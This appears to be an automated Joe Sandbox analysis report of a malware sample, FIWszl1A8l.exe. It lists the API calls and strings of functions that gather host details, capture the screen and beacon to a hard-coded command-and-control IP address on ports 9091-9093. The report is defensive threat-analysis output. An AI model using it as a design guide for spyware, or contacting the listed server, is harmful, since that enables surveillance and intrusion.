Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99de61da98bc62085359227cf36e6b7992e2fb4f4ff755446bc8ffb3a5dcbb79
Instruction ID: 4a103f901824af736287a3d240301f77280f2c54f505ea4f2a73ac1e76bbf017
Opcode Fuzzy Hash: 99de61da98bc62085359227cf36e6b7992e2fb4f4ff755446bc8ffb3a5dcbb79
Instruction Fuzzy Hash: 0FD01234A0420E9BCB24EF64D44686DBBB4F744200F004156DD4593344EA305912DBD1

Function 044B7932 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b7e01db6546bd590b50cb9f2dd1815ac22e99dfcb76deb7303550d9f633e232
Instruction ID: c58c4ad14a17a7a02d57b403e8dc3e9d812d5bd10e09ea9dc1dca38c3a16c3b0
Opcode Fuzzy Hash: 6b7e01db6546bd590b50cb9f2dd1815ac22e99dfcb76deb7303550d9f633e232
Instruction Fuzzy Hash: EFD012B54483889BCB254F7C90D4D183F50AF52711F000ADDD8468A6A3CE36C049CF40

Function 044B7EA0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b5a2ec7402b653d37d3f0c201a1d98a215710cb00dd3710717e9bfccb57aa27
Instruction ID: 3b592217a0cb191ae487f8d5d03d48024056a72719e4f060ebdc0d208c8ca5de
Opcode Fuzzy Hash: 2b5a2ec7402b653d37d3f0c201a1d98a215710cb00dd3710717e9bfccb57aa27
Instruction Fuzzy Hash: 09C04C769291404FEF08DB35886AA27BB325766605B06869EC04286894CE64800AEA01

Function 044B7940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 843f91047d3690cc2891e4113d55c3b7818ea9473e6f2d2f0f4ab5a3674451e6
Instruction ID: 0b1b5af9d4f5500167921ef49f073477b3ca3abd3ab3c1307c2c64736d702ffe
Opcode Fuzzy Hash: 843f91047d3690cc2891e4113d55c3b7818ea9473e6f2d2f0f4ab5a3674451e6
Instruction Fuzzy Hash: A2B0923004870C8FC2586FB9A454829772DAF80715B8004A8E80E4A7A38F36E884CA94

Analysis Process: FIWszl1A8l.exePID: 7852, Parent PID: 7528COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.2%
Total number of Nodes:	629
Total number of Limit Nodes:	18

Executed Functions

Function 02D05430 Relevance: 93.2, APIs: 40, Strings: 13, Instructions: 440
stringnetworklibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

_memset.LIBCMT ref: 02D0546C
_memset.LIBCMT ref: 02D05485
_memset.LIBCMT ref: 02D05495
gethostname.WS2_32(?,00000032), ref: 02D054A3
gethostbyname.WS2_32(?), ref: 02D054AD
inet_ntoa.WS2_32 ref: 02D054C5
_strcat_s.LIBCMT ref: 02D054D8
_strcat_s.LIBCMT ref: 02D054F1
inet_ntoa.WS2_32 ref: 02D0551A
_strcat_s.LIBCMT ref: 02D0552D
_strcat_s.LIBCMT ref: 02D05546
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 02D05573
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000002,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 02D05587
GetLastInputInfo.USER32(?), ref: 02D0559A
GetTickCount.KERNEL32 ref: 02D055A0
wsprintfW.USER32 ref: 02D055D5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 02D055E8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000296,00000000), ref: 02D055FC
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02D05653
wsprintfW.USER32 ref: 02D0566C
GetForegroundWindow.USER32 ref: 02D05695
GetWindowTextW.USER32(00000000,000006CE,000000FA), ref: 02D056AC
lstrlenW.KERNEL32(000008CC), ref: 02D056D3
lstrlenW.KERNEL32(00000994), ref: 02D05739
GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo), ref: 02D057AA
GetProcAddress.KERNEL32(00000000), ref: 02D057B1
GetNativeSystemInfo.KERNEL32(?), ref: 02D057C2
GetSystemInfo.KERNEL32(?), ref: 02D057CD
wsprintfW.USER32 ref: 02D05806
GetCurrentProcessId.KERNEL32 ref: 02D05818
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 02D0582E
K32GetProcessImageFileNameW.KERNEL32(00000000,?,00000104), ref: 02D0584B
CloseHandle.KERNEL32(02D25164), ref: 02D0587F
GetTickCount.KERNEL32 ref: 02D058E9
__time64.LIBCMT ref: 02D058F8
__localtime64.LIBCMT ref: 02D0592F
wsprintfW.USER32 ref: 02D05968
GetLocaleInfoW.KERNEL32(00000800,00000002,00000F46,00000040), ref: 02D0597D
GetSystemDirectoryW.KERNEL32(00001184,00000032), ref: 02D0598C
GetCurrentHwProfileW.ADVAPI32(?), ref: 02D05999

Part of subcall function 02D080F0: GetLogicalDriveStringsW.KERNEL32(000003E8,?,753C73E0,00000AD4,00000000), ref: 02D08132
Part of subcall function 02D080F0: lstrcmpiW.KERNEL32(?,A:\), ref: 02D08166
Part of subcall function 02D080F0: lstrcmpiW.KERNEL32(?,B:\), ref: 02D08176
Part of subcall function 02D080F0: QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 02D081A6
Part of subcall function 02D080F0: lstrlenW.KERNEL32(?), ref: 02D081B7
Part of subcall function 02D080F0: __wcsnicmp.LIBCMT ref: 02D081CE
Part of subcall function 02D080F0: lstrcpyW.KERNEL32(00000AD4,?), ref: 02D08204

Strings

kernel32.dll, xrefs: 02D0576F
X86, xrefs: 02D059B1, 02D059D3
x64, xrefs: 02D057ED
%d min, xrefs: 02D055CF
REMARK, xrefs: 02D05746
x86, xrefs: 02D057F4, 02D057F9
1.0, xrefs: 02D05702
X86 %s, xrefs: 02D05800
Network, xrefs: 02D056C2, 02D05728
AppEvents, xrefs: 02D056B6, 02D0571C
GROUP, xrefs: 02D056E0
GetNativeSystemInfo, xrefs: 02D0576A
2024.12.28, xrefs: 02D05758

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Info$ByteCharMultiSystemWide_strcat_swsprintf$Process_memsetlstrlen$CountCurrentHandleTickWindowinet_ntoalstrcmpi$AddressCloseDeviceDirectoryDriveFileForegroundImageInputLastLocaleLogicalModuleNameNativeOpenProcProfileQueryStringsText__localtime64__time64__wcsnicmp_mallocgethostbynamegethostnamelstrcpy
String ID: %d min$1.0$2024.12.28$AppEvents$GROUP$GetNativeSystemInfo$Network$REMARK$X86$X86 %s$kernel32.dll$x64$x86
API String ID: 1101047656-2702497570
Opcode ID: 9d633347d0ac99190f89d9ea83d7b8fe463f196185edc97def8d7d6c76dc6539
Instruction ID: 788fc3d98ee7d89f4211edfd6b94c476b5942a138fd647e386725c68a949dc93
Opcode Fuzzy Hash: 9d633347d0ac99190f89d9ea83d7b8fe463f196185edc97def8d7d6c76dc6539
Instruction Fuzzy Hash: 75F1C4B1940314AFD724DB64EC85FDA73B9EF94700F404558FA0AA7391EA70AE48CF65

Function 00920032 Relevance: 72.5, APIs: 3, Strings: 38, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 009204AE
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 009204DE
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 009204F5

Strings

t, xrefs: 00920187
S, xrefs: 009200E7
a, xrefs: 0092013E
b, xrefs: 00920287
A, xrefs: 00920147
Ta, xrefs: 0092027D
Fu, xrefs: 0092025A
a, xrefs: 0092016D
ctio, xrefs: 0092026B
ushI, xrefs: 0092019B
A, xrefs: 00920244
o, xrefs: 009201C9
Via, xrefs: 00920312
Syst, xrefs: 00920219
ee, xrefs: 009200F0
P, xrefs: 00920176
G, xrefs: 00920205
b, xrefs: 00920113
fo, xrefs: 0092022C
st, xrefs: 009201AD
tu, xrefs: 00920166
iv, xrefs: 00920212
Li, xrefs: 0092010C
yA, xrefs: 00920125
ucti, xrefs: 009201BE
a, xrefs: 00920103
Vi, xrefs: 0092012C
tNat, xrefs: 0092020A
oc, xrefs: 00920154
Rt, xrefs: 00920233
F, xrefs: 0092018C
tu, xrefs: 00920137
a, xrefs: 0092011C
otec, xrefs: 0092017F
p, xrefs: 009200F7
Lo, xrefs: 009200FC
Cach, xrefs: 009201FA
mI, xrefs: 00920221

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: AllocVirtual$InfoNativeSystem
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 4117132724-2899676511
Opcode ID: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction ID: a8b1fcab9c4d68184abdd7679326868ad6dce2967b9adf61ac965a4e9c92ea76
Opcode Fuzzy Hash: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction Fuzzy Hash: E1628A315083958FD720CF24D880BABBBE5FFD4704F04492DE9C99B256E774A988CB96

Function 02D0DF10 Relevance: 61.6, APIs: 24, Strings: 11, Instructions: 354
sleepregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02D10542: __fassign.LIBCMT ref: 02D10538

Sleep.KERNEL32(00000000), ref: 02D0DF64
CloseHandle.KERNEL32(00000000), ref: 02D0DF91
GetLocalTime.KERNEL32(?), ref: 02D0DFA9
wsprintfW.USER32 ref: 02D0DFE0
SetUnhandledExceptionFilter.KERNEL32(02D075B0), ref: 02D0DFEE
CloseHandle.KERNEL32(00000000), ref: 02D0E007

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

EnumWindows.USER32(02D05CC0,?), ref: 02D0E19D
Sleep.KERNEL32(00004E20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02D0E1AA
EnumWindows.USER32(02D05CC0,?), ref: 02D0E1BE
Sleep.KERNEL32(00000BB8), ref: 02D0E1F5
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02D0E241
Sleep.KERNEL32(00000FA0), ref: 02D0E2C4
RegOpenKeyExW.KERNEL32(80000001,Console,00000000,00020019,?), ref: 02D0E2EB
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 02D0E30B
CloseHandle.KERNEL32(?), ref: 02D0E35D
Sleep.KERNEL32(000003E8,?,?), ref: 02D0E3A4
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 02D0E3D0
CloseHandle.KERNEL32(?,?,?), ref: 02D0E3D7
Sleep.KERNEL32(000003E8,?,?), ref: 02D0E3E2
CloseHandle.KERNEL32(?), ref: 02D0E400
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 02D0E425
CloseHandle.KERNEL32(?,?,?), ref: 02D0E42C
Sleep.KERNEL32(00000000,?,?,?), ref: 02D0E446
CloseHandle.KERNEL32(?), ref: 02D0E464

Strings

9092, xrefs: 02D0E0D0
Console, xrefs: 02D0E2D5
IpDatespecial, xrefs: 02D0E305
9093, xrefs: 02D0E12E
9091, xrefs: 02D0E088
%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 02D0DFDA
8.217.85.20, xrefs: 02D0E071
8.217.85.20, xrefs: 02D0E117
8.217.85.20, xrefs: 02D0E0B9
8.217.85.20, xrefs: 02D0E07B, 02D0E0C3, 02D0E121, 02D0E1E5, 02D0E253
9092, xrefs: 02D0E08F, 02D0E0D7, 02D0E135, 02D0E1CE, 02D0E20C

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CloseHandleSleep$EnumObjectSingleWaitWindows$CreateEventExceptionFilterLocalOpenQueryTimeUnhandledValue__fassign_mallocwsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$8.217.85.20$8.217.85.20$8.217.85.20$8.217.85.20$9091$9092$9092$9093$Console$IpDatespecial
API String ID: 1511462596-4024211382
Opcode ID: e3fde97465f7117c791a6c21527bef4c5ad6499b172544e44349b01761b695aa
Instruction ID: b59f08c8b86a80c68a34f8e4a6c1a9b4d31640cf14eed85dc7791e730f7467fc
Opcode Fuzzy Hash: e3fde97465f7117c791a6c21527bef4c5ad6499b172544e44349b01761b695aa
Instruction Fuzzy Hash: 6BD1B0B0984301AFE320DF64E88AF6A77A5FBD4704F108E2CF59592390DB719D18CB62

Function 02D0BC70 Relevance: 54.6, APIs: 27, Strings: 4, Instructions: 351
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDesktopWindow.USER32 ref: 02D0BC8F
GetDC.USER32(00000000), ref: 02D0BC9C
CreateCompatibleDC.GDI32(00000000), ref: 02D0BCA2
GetDC.USER32(00000000), ref: 02D0BCAD
GetDeviceCaps.GDI32(00000000,00000008), ref: 02D0BCBA
GetDeviceCaps.GDI32(00000000,00000076), ref: 02D0BCC2
ReleaseDC.USER32(00000000,00000000), ref: 02D0BCD3
GetSystemMetrics.USER32(0000004E), ref: 02D0BCF8
GetSystemMetrics.USER32(0000004F), ref: 02D0BD26
GetSystemMetrics.USER32(0000004C), ref: 02D0BD78
GetSystemMetrics.USER32(0000004D), ref: 02D0BD8D
CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 02D0BDA6
SelectObject.GDI32(?,00000000), ref: 02D0BDB4
SetStretchBltMode.GDI32(?,00000003), ref: 02D0BDC0
GetSystemMetrics.USER32(0000004F), ref: 02D0BDCD
GetSystemMetrics.USER32(0000004E), ref: 02D0BDE0
StretchBlt.GDI32(?,00000000,00000000,?,00000000,?,?,?,00000000,?,00000000), ref: 02D0BE07
_memset.LIBCMT ref: 02D0BE7A
GetDIBits.GDI32(?,?,00000000,00000000,?,00000028,00000000), ref: 02D0BE97
_memset.LIBCMT ref: 02D0BEAF

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

DeleteObject.GDI32(?), ref: 02D0BF23
DeleteObject.GDI32(?), ref: 02D0BF2D
ReleaseDC.USER32(00000000,?), ref: 02D0BF39
DeleteObject.GDI32(?), ref: 02D0BFDF
DeleteObject.GDI32(?), ref: 02D0BFE9
ReleaseDC.USER32(00000000,?), ref: 02D0BFF5

Strings

gfff, xrefs: 02D0BD10
gfff, xrefs: 02D0BD38
6, xrefs: 02D0BE61
(, xrefs: 02D0BE3E

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Object$Delete$Release$CapsCompatibleCreateDeviceStretch_memset$BitmapBitsDesktopModeSelectWindow_malloc
String ID: ($6$gfff$gfff
API String ID: 3293817703-713438465
Opcode ID: afaf36c0f96ffb49552de74180f2c43b158925394a918e9f7244ca47b4e6ba47
Instruction ID: 2e6e32bdda1e90ee3ed1019dd4c85952a2709d32e1e96d6fa58c2680f90f0f75
Opcode Fuzzy Hash: afaf36c0f96ffb49552de74180f2c43b158925394a918e9f7244ca47b4e6ba47
Instruction Fuzzy Hash: 5AD158B1E01218ABDB10DFA5E985B9EBBB9FF58300F104529F905AB390D770AD05CFA1

Function 02D06A70 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 141
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(753C73E0), ref: 02D06A94
wsprintfW.USER32 ref: 02D06AA7

Part of subcall function 02D06910: GetCurrentProcessId.KERNEL32(7A8163DF,00000000,00000000,753C73E0,?,00000000,02D210DB,000000FF,?,02D06AB3,00000000), ref: 02D06938
Part of subcall function 02D06910: OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,02D210DB,000000FF,?,02D06AB3,00000000), ref: 02D06947
Part of subcall function 02D06910: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,02D210DB,000000FF,?,02D06AB3,00000000), ref: 02D06960
Part of subcall function 02D06910: CloseHandle.KERNEL32(00000000,?,00000000,02D210DB,000000FF,?,02D06AB3,00000000), ref: 02D0696B

_memset.LIBCMT ref: 02D06AC2
GetVersionExW.KERNEL32(?), ref: 02D06ADB
GetCurrentProcess.KERNEL32(00000008,?), ref: 02D06B12
OpenProcessToken.ADVAPI32(00000000), ref: 02D06B19
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 02D06B3F
GetLastError.KERNEL32 ref: 02D06B49
LocalAlloc.KERNEL32(00000040,?), ref: 02D06B5D
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 02D06B85
GetSidSubAuthorityCount.ADVAPI32 ref: 02D06B98
GetSidSubAuthority.ADVAPI32(00000000), ref: 02D06BA6
LocalFree.KERNEL32(?), ref: 02D06BB5
CloseHandle.KERNEL32(?), ref: 02D06BC2
wsprintfW.USER32 ref: 02D06C1B

Strings

NO/, xrefs: 02D06BDF
None/%s, xrefs: 02D06BE7
-N/, xrefs: 02D06BEF

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Process$Token$CurrentOpen$AuthorityCloseHandleInformationLocalwsprintf$AllocCountErrorFreeLastVersion_memset
String ID: -N/$NO/$None/%s
API String ID: 3036438616-3095023699
Opcode ID: edb6130a2aba2dd52f4c469fc19912e5b25569efa39856d71c94331d506e5c07
Instruction ID: 917b845c26e62dc610d6d994b4beff53473faaa9f9dd8aa31450f3a09d41d159
Opcode Fuzzy Hash: edb6130a2aba2dd52f4c469fc19912e5b25569efa39856d71c94331d506e5c07
Instruction Fuzzy Hash: 4441A6B0940214AFEB349B60DDC9FEA7B7CEB19714F004495F94696390DB34DEA8CBA1

Function 02D07490 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 99
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(ntdll.dll,753C73E0,?,?,?,02D05611,0000035E,000002FA), ref: 02D0749C
GetProcAddress.KERNEL32(00000000,RtlGetNtVersionNumbers), ref: 02D074B2
swprintf.LIBCMT ref: 02D074EF

Part of subcall function 02D07410: GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,02D07523), ref: 02D0743D
Part of subcall function 02D07410: GetProcAddress.KERNEL32(00000000), ref: 02D07444
Part of subcall function 02D07410: GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,02D07523), ref: 02D07452

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020019,000002FA), ref: 02D07547
RegQueryValueExW.KERNEL32(000002FA,ProductName,00000000,00000001,00000000,?), ref: 02D07563
RegCloseKey.KERNEL32(000002FA), ref: 02D07586
FreeLibrary.KERNEL32(00000000,?,?,?,02D05611,0000035E,000002FA), ref: 02D07598

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 02D0753D
RtlGetNtVersionNumbers, xrefs: 02D074AC
%d.%d.%d, xrefs: 02D074E7
ProductName, xrefs: 02D0755D
ntdll.dll, xrefs: 02D07497

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$CloseFreeHandleInfoLoadModuleNativeOpenQuerySystemValueswprintf
String ID: %d.%d.%d$ProductName$RtlGetNtVersionNumbers$SOFTWARE\Microsoft\Windows NT\CurrentVersion$ntdll.dll
API String ID: 2158625971-3190923360
Opcode ID: 9c6d39377649fe4ca5dbb43b55be33444ac1f5fa7d36e216e621ef4355084cad
Instruction ID: fb42d417e348c77575b5a8dd2d39e2f74e3af860bc12ebf6ec5e2fc8de8ec1be
Opcode Fuzzy Hash: 9c6d39377649fe4ca5dbb43b55be33444ac1f5fa7d36e216e621ef4355084cad
Instruction Fuzzy Hash: 8D319371A402087BE724DBA4DD89FEFBB7DDF58704F540519BA06A6394EA70DE04C7A0

Function 02D080F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 114stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNEL32(000003E8,?,753C73E0,00000AD4,00000000), ref: 02D08132
lstrcmpiW.KERNEL32(?,A:\), ref: 02D08166
lstrcmpiW.KERNEL32(?,B:\), ref: 02D08176
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 02D081A6
lstrlenW.KERNEL32(?), ref: 02D081B7
__wcsnicmp.LIBCMT ref: 02D081CE
lstrcpyW.KERNEL32(00000AD4,?), ref: 02D08204
lstrcpyW.KERNEL32(?,?), ref: 02D08228
lstrcatW.KERNEL32(?,00000000), ref: 02D08233

Strings

A:\, xrefs: 02D08160
B:\, xrefs: 02D08170

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: lstrcmpilstrcpy$DeviceDriveLogicalQueryStrings__wcsnicmplstrcatlstrlen
String ID: A:\$B:\
API String ID: 950920757-1009255891
Opcode ID: 3fa11bf1270047ea2a0cbc6f4f4a2a81516f6916cb577300580a802fa594078c
Instruction ID: cb76931750caabe419fe5efc37b4b5733a4aa3ef1174e198c55cec6c0349b90a
Opcode Fuzzy Hash: 3fa11bf1270047ea2a0cbc6f4f4a2a81516f6916cb577300580a802fa594078c
Instruction Fuzzy Hash: 03417471E012189BDB20DF64DD84BAEB378EF58714F014599ED0AE3380EB749E09CB94

Function 02D06790 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02D05320: InterlockedDecrement.KERNEL32(00000008), ref: 02D0536F
Part of subcall function 02D05320: SysFreeString.OLEAUT32(00000000), ref: 02D05384
Part of subcall function 02D05320: SysAllocString.OLEAUT32(02D25148), ref: 02D053D5

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,?,02D25148,02D069A4,02D25148,00000000,753C73E0), ref: 02D067F4
GetLastError.KERNEL32 ref: 02D067FE
GetProcessHeap.KERNEL32(00000008,?), ref: 02D06816
HeapAlloc.KERNEL32(00000000), ref: 02D0681D
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,?,?), ref: 02D0683F
LookupAccountSidW.ADVAPI32(00000000,?,?,00000100,?,00000100,?), ref: 02D06871
GetLastError.KERNEL32 ref: 02D0687B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D068E6
HeapFree.KERNEL32(00000000), ref: 02D068ED

Strings

NONE_MAPPED, xrefs: 02D06888

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Heap$AllocErrorFreeInformationLastProcessStringToken$AccountDecrementInterlockedLookup
String ID: NONE_MAPPED
API String ID: 1317816589-2950899194
Opcode ID: ee6cbe3dcf13d7ed11b2d47e791626110de38753e244aa2822f18acfbaab250e
Instruction ID: 6df00083839ef9fb9c4563151f9c1b65996bbfa6cd58170dfded959f5e46d5db
Opcode Fuzzy Hash: ee6cbe3dcf13d7ed11b2d47e791626110de38753e244aa2822f18acfbaab250e
Instruction Fuzzy Hash: 9B4189B1940214AFD7249B64DD88FAE737DEB84700F504598FA09A6380DB709E99CF74

Function 02D06C50 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,76F8DF80,00000000,753C73E0), ref: 02D06C8B
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 02D06CAA
_memset.LIBCMT ref: 02D06CE1
GlobalMemoryStatusEx.KERNEL32(?), ref: 02D06CF4
swprintf.LIBCMT ref: 02D06D39
swprintf.LIBCMT ref: 02D06D4C

Strings

%sFree%d Gb , xrefs: 02D06D41
@, xrefs: 02D06CED
:, xrefs: 02D06C80
HDD:%d, xrefs: 02D06D2E

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: swprintf$DiskDriveFreeGlobalMemorySpaceStatusType_memset
String ID: %sFree%d Gb $:$@$HDD:%d
API String ID: 3202570353-3501811827
Opcode ID: 5d6478585a744233b030aad001cc0dbb534733363fec4200393a2a74f6ca7403
Instruction ID: b01d2ad1b66416c507b6e214269353c8141ae9b072a41aa838220b9ea94a2a7c
Opcode Fuzzy Hash: 5d6478585a744233b030aad001cc0dbb534733363fec4200393a2a74f6ca7403
Instruction Fuzzy Hash: B4316DB2E0021C9BDB14CFE4DC85FEEB7B9EB48700F504219E90AA7380DA746D05CB94

Function 02D06EE0 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 410COMMON

Download Yara Rule

APIs

CreateDXGIFactory.DXGI(02D2579C,?,7A8163DF,76F8DF80,00000000,753C73E0), ref: 02D06F4A
swprintf.LIBCMT ref: 02D0711E
std::_Xinvalid_argument.LIBCPMT ref: 02D071C7

Strings

%s%s %d*%d , xrefs: 02D07337
%s%s %d %d , xrefs: 02D07113
vector<T> too long, xrefs: 02D071C2

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateFactoryXinvalid_argumentstd::_swprintf
String ID: %s%s %d %d $%s%s %d*%d $vector<T> too long
API String ID: 3803070356-257307503
Opcode ID: 896bbca65c3ee7fa547a4775400e9338560dd504b10490a2252fef1b61ae01bc
Instruction ID: 38db817eea96219ada105754310828406840a79d7b5b1887cec4955c6e72d757
Opcode Fuzzy Hash: 896bbca65c3ee7fa547a4775400e9338560dd504b10490a2252fef1b61ae01bc
Instruction Fuzzy Hash: B6E14371A002259FEB24CE64CCC0BEEB3B5EB49704F1446A9D959AB3D4D770AE41CF91

